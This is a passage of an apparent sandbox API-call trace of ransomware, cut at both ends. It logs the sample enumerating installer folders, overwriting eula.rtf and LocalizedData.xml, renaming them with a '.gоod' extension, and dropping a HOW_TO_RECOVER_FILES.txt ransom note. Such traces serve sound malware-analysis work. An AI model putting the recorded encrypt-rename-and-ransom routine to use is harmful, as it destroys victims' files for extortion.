ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0090.275] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0090.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0090.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0090.275] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033", lpFilePart=0x0) returned 0x1a [0090.275] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0090.275] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.275] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0090.275] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0090.276] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0090.276] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0090.276] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0090.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0090.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0090.276] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpFilePart=0x0) returned 0x23 [0090.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0090.276] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x339bbf8 | out: lpFileInformation=0x339bbf8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74)) returned 1 [0090.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0090.277] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpFilePart=0x0) returned 0x23 [0090.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0090.277] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0090.277] GetFileType (hFile=0x768) returned 0x1 [0090.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0090.277] GetFileType (hFile=0x768) returned 0x1 [0090.277] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xc74 [0090.277] ReadFile (in: hFile=0x768, lpBuffer=0x339ca78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x339ca78*, lpNumberOfBytesRead=0x1f6edc28*=0xc74, lpOverlapped=0x0) returned 1 [0090.278] CloseHandle (hObject=0x768) returned 1 [0090.383] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpFilePart=0x0) returned 0x23 [0090.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0090.383] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0090.384] GetFileType (hFile=0x768) returned 0x1 [0090.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0090.385] GetFileType (hFile=0x768) returned 0x1 [0090.385] WriteFile (in: hFile=0x768, lpBuffer=0x3418cf8*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3418cf8*, lpNumberOfBytesWritten=0x1f6edb38*=0xc80, lpOverlapped=0x0) returned 1 [0090.385] CloseHandle (hObject=0x768) returned 1 [0090.386] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpFilePart=0x0) returned 0x23 [0090.386] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0090.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0090.386] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0x3216d923, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc80)) returned 1 [0090.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0090.386] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.gоod")) returned 1 [0090.546] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0090.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0090.707] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3322418 | out: lpFileInformation=0x3322418*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0)) returned 1 [0090.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0090.721] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0090.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0090.721] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0090.721] GetFileType (hFile=0x79c) returned 0x1 [0090.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0090.721] GetFileType (hFile=0x79c) returned 0x1 [0090.721] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0090.721] ReadFile (in: hFile=0x79c, lpBuffer=0x339d4e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x339d4e8*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0090.723] CloseHandle (hObject=0x79c) returned 1 [0090.723] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0090.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0090.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0090.723] GetFileType (hFile=0x79c) returned 0x1 [0090.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0090.723] GetFileType (hFile=0x79c) returned 0x1 [0090.723] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x12db0 [0090.723] WriteFile (in: hFile=0x79c, lpBuffer=0x339e758*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x339e758*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0090.724] CloseHandle (hObject=0x79c) returned 1 [0090.724] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0090.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0090.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0090.724] GetFileType (hFile=0x79c) returned 0x1 [0090.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0090.724] GetFileType (hFile=0x79c) returned 0x1 [0090.724] ReadFile (in: hFile=0x79c, lpBuffer=0x33a09f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x33a09f0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0091.143] CloseHandle (hObject=0x79c) returned 1 [0091.143] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0091.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0091.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0091.143] GetFileType (hFile=0x79c) returned 0x1 [0091.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0091.143] GetFileType (hFile=0x79c) returned 0x1 [0091.143] WriteFile (in: hFile=0x79c, lpBuffer=0x3307c20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3307c20*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0091.143] CloseHandle (hObject=0x79c) returned 1 [0091.143] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0091.144] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0091.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0091.144] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x32894baf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12dc0)) returned 1 [0091.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0091.144] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.gоod")) returned 1 [0091.144] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0091.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0091.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0091.146] GetFileType (hFile=0x79c) returned 0x1 [0091.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0091.146] GetFileType (hFile=0x79c) returned 0x1 [0091.146] WriteFile (in: hFile=0x79c, lpBuffer=0x340cf50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x340cf50*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0091.147] CloseHandle (hObject=0x79c) returned 1 [0091.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0091.148] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035", lpFilePart=0x0) returned 0x1a [0091.148] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0091.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0091.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0091.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.149] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0091.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0091.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0091.149] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1035", lpFilePart=0x0) returned 0x1a [0091.149] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0091.150] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0091.150] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0091.150] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, 